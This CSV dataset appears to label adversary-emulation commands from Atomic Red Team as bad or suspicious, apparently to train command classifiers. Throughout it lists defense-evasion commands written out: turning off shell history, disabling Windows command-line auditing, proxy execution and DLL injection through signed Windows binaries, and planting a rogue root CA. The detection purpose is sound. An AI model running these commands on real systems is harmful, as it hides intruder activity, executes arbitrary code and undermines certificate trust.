",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7b61d238021142a61c59c9f0,"echo $HISTSIZE export HISTSIZE=0 echo ""runnning some commands to populate the history"" whoami groups if [ $(echo $HISTSIZE) -eq 0 ]; then echo ""\$HISTSIZE is zero""; else HIST_LENGTH=$(wc -l $HISTFILE); echo ""\$HISTSIZE is not zero, history size is $HIST_LENGTH""; fi","echo $HISTSIZE export HISTSIZE=0 echo ""runnning some commands to populate the history"" whoami groups if [ $(echo $HISTSIZE) -eq 0 ]; then echo ""\$HISTSIZE is zero""; else HIST_LENGTH=$(wc -l $HISTFILE); echo ""\$HISTSIZE is not zero, history size is $HIST_LENGTH""; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Setting the HISTSIZE environment variable,T1562.003,"[""T1562.003""]",linux,0.9,False,"An Adversary may set the sh history files size environment variable (HISTSIZE) to zero to prevent the logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTSIZE. In this test we 1. echo HISTSIZE 2. set it to zero 3. confirm that HISTSIZE is set to zero.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3b1fd6c623a1da1105d25492,export HISTSIZE=100,export HISTSIZE=100,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Setting the HISTSIZE environment variable,T1562.003,"[""T1562.003""]",linux,0.55,True,"An Adversary may set the sh history files size environment variable (HISTSIZE) to zero to prevent the logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTSIZE. In this test we 1. echo HISTSIZE 2. set it to zero 3. confirm that HISTSIZE is set to zero.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
657ac6c8ed360e7a9e480015,"TEST=$(echo $HISTFILE) echo $HISTFILE export HISTFILE=""/dev/null"" echo ""runnning some commands to populate the history"" whoami groups if [ $(echo $HISTFILE) == ""/dev/null"" ]; then echo ""\$HISTFILE is /dev/null""; else HIST_LENGHT=$(wc -l $HISTFILE); echo ""\$HISTFILE is not /dev/null, history lenght is $HIST_LENGHT""; fi","TEST=$(echo $HISTFILE) echo $HISTFILE export HISTFILE=""/dev/null"" echo ""runnning some commands to populate the history"" whoami groups if [ $(echo $HISTFILE) == ""/dev/null"" ]; then echo ""\$HISTFILE is /dev/null""; else HIST_LENGHT=$(wc -l $HISTFILE); echo ""\$HISTFILE is not /dev/null, history lenght is $HIST_LENGHT""; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Setting the HISTFILE environment variable,T1562.003,"[""T1562.003""]",linux,0.9,False,"An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d8bc03cf973cbc23d2053cce,export HISTFILE=$(echo $TEST),export HISTFILE=$(echo $TEST),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Setting the HISTFILE environment variable,T1562.003,"[""T1562.003""]",linux,0.55,True,"An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d5d58a2fedba4636efd77140,"echo $HISTFILE export HISTFILE=""/dev/null"" if [ $(echo $HISTFILE) == ""/dev/null"" ]; then echo ""\$HISTFILE is /dev/null""; fi","echo $HISTFILE export HISTFILE=""/dev/null"" if [ $(echo $HISTFILE) == ""/dev/null"" ]; then echo ""\$HISTFILE is /dev/null""; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Setting the HISTFILE environment variable (freebsd),T1562.003,"[""T1562.003""]",linux,0.9,False,"An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ef930a74e093f04aee74430a,export HISTFILE=~/.sh_history,export HISTFILE=~/.sh_history,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Setting the HISTFILE environment variable (freebsd),T1562.003,"[""T1562.003""]",linux,0.55,True,"An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
af0bac689b1a170b95fb2de0,"if ((${#HISTIGNORE[@]})); then echo ""\$HISTIGNORE = $HISTIGNORE""; else export HISTIGNORE='ls*:rm*:ssh*'; echo ""\$HISTIGNORE = $HISTIGNORE""; fi history -c ls -la $HISTFILE ls -la ~/.bash_logout if [ $(history |wc -l) -eq 1 ]; then echo ""ls commands are not in history""; fi unset HISTIGNORE if ((${#HISTIGNORE[@]})); then echo ""\$HISTIGNORE = $HISTIGNORE""; else export HISTIGNORE='*'; echo ""\$HISTIGNORE = $HISTIGNORE""; fi history -c whoami groups if [ $(history |wc -l) -eq 0 ]; then echo ""History cache is empty""; fi","if ((${#HISTIGNORE[@]})); then echo ""\$HISTIGNORE = $HISTIGNORE""; else export HISTIGNORE='ls*:rm*:ssh*'; echo ""\$HISTIGNORE = $HISTIGNORE""; fi history -c ls -la $HISTFILE ls -la ~/.bash_logout if [ $(history |wc -l) -eq 1 ]; then echo ""ls commands are not in history""; fi unset HISTIGNORE if ((${#HISTIGNORE[@]})); then echo ""\$HISTIGNORE = $HISTIGNORE""; else export HISTIGNORE='*'; echo ""\$HISTIGNORE = $HISTIGNORE""; fi history -c whoami groups if [ $(history |wc -l) -eq 0 ]; then echo ""History cache is empty""; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Setting the HISTIGNORE environment variable,T1562.003,"[""T1562.003""]",linux,0.9,False,"An Adversary may take advantage of the HISTIGNORE environment variable either to ignore particular commands or all commands. 

In this test we 1. set HISTIGNORE to ignore ls, rm and ssh commands 2. clear this history cache 3..4 execute ls commands 5. confirm that the ls commands are not in the history cache 6. unset HISTIGNORE variable 7.. same again, but ignoring ALL commands.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
75dfd3fa5bb6e683c8a44e33,unset HISTIGNORE,unset HISTIGNORE,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Setting the HISTIGNORE environment variable,T1562.003,"[""T1562.003""]",linux,0.55,True,"An Adversary may take advantage of the HISTIGNORE environment variable either to ignore particular commands or all commands. 

In this test we 1. set HISTIGNORE to ignore ls, rm and ssh commands 2. clear this history cache 3..4 execute ls commands 5. confirm that the ls commands are not in the history cache 6. unset HISTIGNORE variable 7.. same again, but ignoring ALL commands.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d178154906c7cc73f7c45ff1,reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f,reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Disable Windows Command Line Auditing using reg.exe,T1562.003,"[""T1562.003""]",windows,0.9,False,"In Windows operating systems, command line auditing is controlled through the following registry value:

  Registry Path: HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
  
  Registry Value: ProcessCreationIncludeCmdLine_Enabled

When command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.
This information is c",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
034c325e419d542366009374,reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f,reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Disable Windows Command Line Auditing using reg.exe,T1562.003,"[""T1562.003""]",windows,0.55,True,"In Windows operating systems, command line auditing is controlled through the following registry value:

  Registry Path: HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
  
  Registry Value: ProcessCreationIncludeCmdLine_Enabled

When command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.
This information is c",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8cf65658f22dc438228a9629,"New-ItemProperty -Path ""HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit"" -Name ""ProcessCreationIncludeCmdLine_Enabled"" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore","New-ItemProperty -Path ""HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit"" -Name ""ProcessCreationIncludeCmdLine_Enabled"" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Disable Windows Command Line Auditing using Powershell Cmdlet,T1562.003,"[""T1562.003""]",windows,0.9,False,"In Windows operating systems, command line auditing is controlled through the following registry value:

  Registry Path: HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
  
  Registry Value: ProcessCreationIncludeCmdLine_Enabled

When command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.
This information is c",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
38e4305d5d8747dfe1de81b3,"New-ItemProperty -Path ""HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit"" -Name ""ProcessCreationIncludeCmdLine_Enabled"" -Value 1 -PropertyType DWORD -Force -ErrorAction Ignore","New-ItemProperty -Path ""HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit"" -Name ""ProcessCreationIncludeCmdLine_Enabled"" -Value 1 -PropertyType DWORD -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Disable Windows Command Line Auditing using Powershell Cmdlet,T1562.003,"[""T1562.003""]",windows,0.55,True,"In Windows operating systems, command line auditing is controlled through the following registry value:

  Registry Path: HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
  
  Registry Value: ProcessCreationIncludeCmdLine_Enabled

When command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.
This information is c",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2fbe959e99abebc6fcd44f70,"mavinject.exe #{process_id} /INJECTRUNNING ""#{dll_payload}""","mavinject.exe #{process_id} /INJECTRUNNING ""#{dll_payload}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,mavinject - Inject DLL into running process,T1218,"[""T1218""]",windows,0.9,False,"Injects arbitrary DLL into running process specified by process ID. Requires Windows 10.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b4ad1bc1f3e1416a2aa626a5,"C:\Windows\SysWow64\Register-CimProvider.exe -Path ""#{dll_payload}""","C:\Windows\SysWow64\Register-CimProvider.exe -Path ""#{dll_payload}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,Register-CimProvider - Execute evil dll,T1218,"[""T1218""]",windows,0.9,False,"Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5d4b488555c04ff3f56a16e5,"InfDefaultInstall.exe ""#{inf_to_execute}""","InfDefaultInstall.exe ""#{inf_to_execute}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,InfDefaultInstall.exe .inf Execution,T1218,"[""T1218""]",windows,0.9,False,"Test execution of a .inf using InfDefaultInstall.exe

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
99fac1bc40a7e0a26992088e,"FOR /F ""tokens=2*"" %a in ('reg query ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe"" /V PATH') do set microsoft_wordpath=%b call ""%microsoft_wordpath%\protocolhandler.exe"" ""ms-word:nft|u|#{remote_url}""","FOR /F ""tokens=2*"" %a in ('reg query ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe"" /V PATH') do set microsoft_wordpath=%b call ""%microsoft_wordpath%\protocolhandler.exe"" ""ms-word:nft|u|#{remote_url}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,ProtocolHandler.exe Downloaded a Suspicious File,T1218,"[""T1218""]",windows,0.9,False,"Emulates attack via documents through protocol handler in Microsoft Office.  On successful execution you should see Microsoft Word launch a blank file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3a558e3e73c1051e14deeeea,"#{mwcpath}\#{mwcname} ""#{xml_payload}"" output.txt","#{mwcpath}\#{mwcname} ""#{xml_payload}"" output.txt",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,Microsoft.Workflow.Compiler.exe Payload Execution,T1218,"[""T1218""]",windows,0.9,False,"Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fe9a8cea3f374ac4dd0b60f1,"&""#{renamed_binary}"" ""#{xml_payload}"" output.txt","&""#{renamed_binary}"" ""#{xml_payload}"" output.txt",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,Renamed Microsoft.Workflow.Compiler.exe Payload Executions,T1218,"[""T1218""]",windows,0.9,False,"Emulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3730d93f56e1bb3b4ddb3925,Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path},Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,Invoke-ATHRemoteFXvGPUDisablementCommand base test,T1218,"[""T1218""]",windows,0.9,False,"RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).

One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as ""PowerShell module load-order hijacking"" where a module containing, in this case, a",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
915eda06855f2aaf9611bdb8,#{dspath} -S #{txt_payload},#{dspath} -S #{txt_payload},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,DiskShadow Command Execution,T1218,"[""T1218""]",windows,0.9,False,"Emulates attack with a DiskShadow.exe (LOLBIN installed by default on Windows) being used to execute arbitrary commands Reference: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3f58f795664963885b93525f,"wuauclt.exe /UpdateDeploymentProvider ""#{arbitrary_dll}"" /RunHandlerComServer","wuauclt.exe /UpdateDeploymentProvider ""#{arbitrary_dll}"" /RunHandlerComServer",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,Load Arbitrary DLL via Wuauclt (Windows Update Client),T1218,"[""T1218""]",windows,0.9,False,"This test uses Wuauclt to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. 
See https://dtm.uk/wuauclt/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d61dafb728363cc9248593b3,taskkill /f /im calculator.exe > nul 2>&1,taskkill /f /im calculator.exe > nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,Load Arbitrary DLL via Wuauclt (Windows Update Client),T1218,"[""T1218""]",windows,0.55,True,"This test uses Wuauclt to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. 
See https://dtm.uk/wuauclt/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ebc482fbf3c7c0290ff652ae,Gpscript /logon,Gpscript /logon,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,Lolbin Gpscript logon option,T1218,"[""T1218""]",windows,0.9,False,"Executes logon scripts configured in Group Policy.
https://lolbas-project.github.io/lolbas/Binaries/Gpscript/
https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d8fc7fa13fe90c5c69deeafd,Gpscript /startup,Gpscript /startup,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,Lolbin Gpscript startup option,T1218,"[""T1218""]",windows,0.9,False,"Executes startup scripts configured in Group Policy
https://lolbas-project.github.io/lolbas/Binaries/Gpscript/
https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b3b42487d1c7461cf6c3d9c,"copy #{Path_ie4uinit} %TEMP%\ie4uinit.exe copy ""#{Path_inf}"" %TEMP%\ieuinit.inf %TEMP%\ie4uinit.exe -BaseSettings","copy #{Path_ie4uinit} %TEMP%\ie4uinit.exe copy ""#{Path_inf}"" %TEMP%\ieuinit.inf %TEMP%\ie4uinit.exe -BaseSettings",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,Lolbas ie4uinit.exe use as proxy,T1218,"[""T1218""]",windows,0.9,False,"Executes commands from a specially prepared ie4uinit.inf file.
Poc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
Reference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ddbd0527d3a991830ecd3dc,del %TEMP%\ie4uinit.exe >nul 2>&1 del %TEMP%\ieuinit.inf >nul 2>&1,del %TEMP%\ie4uinit.exe >nul 2>&1 del %TEMP%\ieuinit.inf >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,Lolbas ie4uinit.exe use as proxy,T1218,"[""T1218""]",windows,0.55,True,"Executes commands from a specially prepared ie4uinit.inf file.
Poc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
Reference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8463e9d5795f9589bfef756f,"if (-not (Test-Path #{dest_path})) { New-Item -Path #{dest_path} -ItemType Directory } else { Write-Host ""Directory #{dest_path} already exists."" } Copy-Item -Path ""C:\windows\system32\customshellhost.exe"" -Destination ""#{dest_path}\customshellhost.exe"" -Force Copy-Item -Path ""C:\windows\system32\calc.exe"" -Destination ""#{dest_path}\explorer.exe"" -Force #{dest_path}\customshellhost.exe","if (-not (Test-Path #{dest_path})) { New-Item -Path #{dest_path} -ItemType Directory } else { Write-Host ""Directory #{dest_path} already exists."" } Copy-Item -Path ""C:\windows\system32\customshellhost.exe"" -Destination ""#{dest_path}\customshellhost.exe"" -Force Copy-Item -Path ""C:\windows\system32\calc.exe"" -Destination ""#{dest_path}\explorer.exe"" -Force #{dest_path}\customshellhost.exe",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,LOLBAS CustomShellHost to Spawn Process,T1218,"[""T1218""]",windows,0.9,False,"This test simulates an adversary copying `customshellhost.exe` and `calc.exe` from `C:\windows\system32\` to `C:\temp\`, renaming `calc.exe` to `explorer.exe`.
Upon execution, customshellhost.exe will spawn calc.exe.
Note this will only work on Windows 10 or 11.
[LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/)
[BishopFox](https://bishopfox.com/blog/edr-bypass-with-lolbins)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ecc48bdc3249c71c7aecedf1,Remove-Item -Path #{dest_path} -Recurse -Force,Remove-Item -Path #{dest_path} -Recurse -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,LOLBAS CustomShellHost to Spawn Process,T1218,"[""T1218""]",windows,0.55,True,"This test simulates an adversary copying `customshellhost.exe` and `calc.exe` from `C:\windows\system32\` to `C:\temp\`, renaming `calc.exe` to `explorer.exe`.
Upon execution, customshellhost.exe will spawn calc.exe.
Note this will only work on Windows 10 or 11.
[LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/)
[BishopFox](https://bishopfox.com/blog/edr-bypass-with-lolbins)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aec7d0c794291bede6737c52,reg.exe add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1 /v altitude /t REG_DWORD /d 0 reg add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1\dummy2 /v Commandline /d calc.exe c:\windows\system32\provlaunch.exe LOLBin,reg.exe add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1 /v altitude /t REG_DWORD /d 0 reg add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1\dummy2 /v Commandline /d calc.exe c:\windows\system32\provlaunch.exe LOLBin,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,Provlaunch.exe Executes Arbitrary Command via Registry Key,T1218,"[""T1218""]",windows,0.9,False,"Provlaunch.exe executes a command defined in the Registry. This test will create the necessary registry keys and values, then run provlaunch.exe to execute an arbitrary command.
- https://twitter.com/0gtweet/status/1674399582162153472
- https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/
Registry keys are deleted after successful execution.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4133667a037af0074aa133d5,"$edgePath64 = ""C:\Program Files\Microsoft\Edge\Application\msedge.exe"" if (Test-Path $edgePath64) { $edgePath = $edgePath64 } else { # Check 32-bit Edge installation path $edgePath32 = ""C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"" if (Test-Path $edgePath32) { $edgePath = $edgePath32 } else { exit 1 } } & $edgePath --disable-gpu-sandbox --gpu-launcher=""C:\\Windows\\System32\\calc.exe &&"" sleep 5 taskkill -f -im msedge.exe taskkill -f -im calc.exe taskkill -f -im win32calc.exe","$edgePath64 = ""C:\Program Files\Microsoft\Edge\Application\msedge.exe"" if (Test-Path $edgePath64) { $edgePath = $edgePath64 } else { # Check 32-bit Edge installation path $edgePath32 = ""C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"" if (Test-Path $edgePath32) { $edgePath = $edgePath32 } else { exit 1 } } & $edgePath --disable-gpu-sandbox --gpu-launcher=""C:\\Windows\\System32\\calc.exe &&"" sleep 5 taskkill -f -im msedge.exe taskkill -f -im calc.exe taskkill -f -im win32calc.exe",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,LOLBAS Msedge to Spawn Process,T1218,"[""T1218""]",windows,0.9,False,"Executes a process under a trusted Microsoft signed binary,mseddge. This test will spawn ""calc.exe"" as a child process of msedge.exe
- https://lolbas-project.github.io/lolbas/Binaries/Msedge/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
69d9942bc15775ec7ebb13db,"wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u ""#{payload_path}""","wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u ""#{payload_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218/T1218.yaml,System Binary Proxy Execution - Wlrmdr Lolbin,T1218,"[""T1218""]",windows,0.9,False,Use wlrmdr(Windows Logon Reminder executable) as a proxy binary to evade defensive countermeasures,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9aeb9295c314ee7f0c4ec52f,"openssl genrsa -out #{key_filename} 4096 openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj ""/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com"" -out #{cert_filename} cp #{cert_filename} /etc/pki/ca-trust/source/anchors/ update-ca-trust","openssl genrsa -out #{key_filename} 4096 openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj ""/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com"" -out #{cert_filename} cp #{cert_filename} /etc/pki/ca-trust/source/anchors/ update-ca-trust",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.004/T1553.004.yaml,Install root CA on CentOS/RHEL,T1553.004,"[""T1553.004""]",linux,0.9,False,"Creates a root CA with openssl
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d7908bfdaf32c398e3f7193e,rm /etc/pki/ca-trust/source/anchors/#{cert_filename} update-ca-trust,rm /etc/pki/ca-trust/source/anchors/#{cert_filename} update-ca-trust,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.004/T1553.004.yaml,Install root CA on CentOS/RHEL,T1553.004,"[""T1553.004""]",linux,0.55,True,"Creates a root CA with openssl
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b5d0f3cbc329fd850a4911a,"openssl genrsa -out #{key_filename} 4096 openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj ""/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com"" -out #{cert_filename} cp #{cert_filename} /usr/local/share/certs/ certctl rehash","openssl genrsa -out #{key_filename} 4096 openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj ""/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com"" -out #{cert_filename} cp #{cert_filename} /usr/local/share/certs/ certctl rehash",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.004/T1553.004.yaml,Install root CA on FreeBSD,T1553.004,"[""T1553.004""]",linux,0.9,False,"Creates a root CA with openssl
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2391bcbb57dc5e78083b62d9,rm /usr/local/share/certs/#{cert_filename} certctl rehash,rm /usr/local/share/certs/#{cert_filename} certctl rehash,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.004/T1553.004.yaml,Install root CA on FreeBSD,T1553.004,"[""T1553.004""]",linux,0.55,True,"Creates a root CA with openssl
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d68559d1aa42391aa11374bf,mv #{cert_filename} /usr/local/share/ca-certificates sudo update-ca-certificates,mv #{cert_filename} /usr/local/share/ca-certificates sudo update-ca-certificates,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.004/T1553.004.yaml,Install root CA on Debian/Ubuntu,T1553.004,"[""T1553.004""]",linux,0.9,False,"Creates a root CA with openssl
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
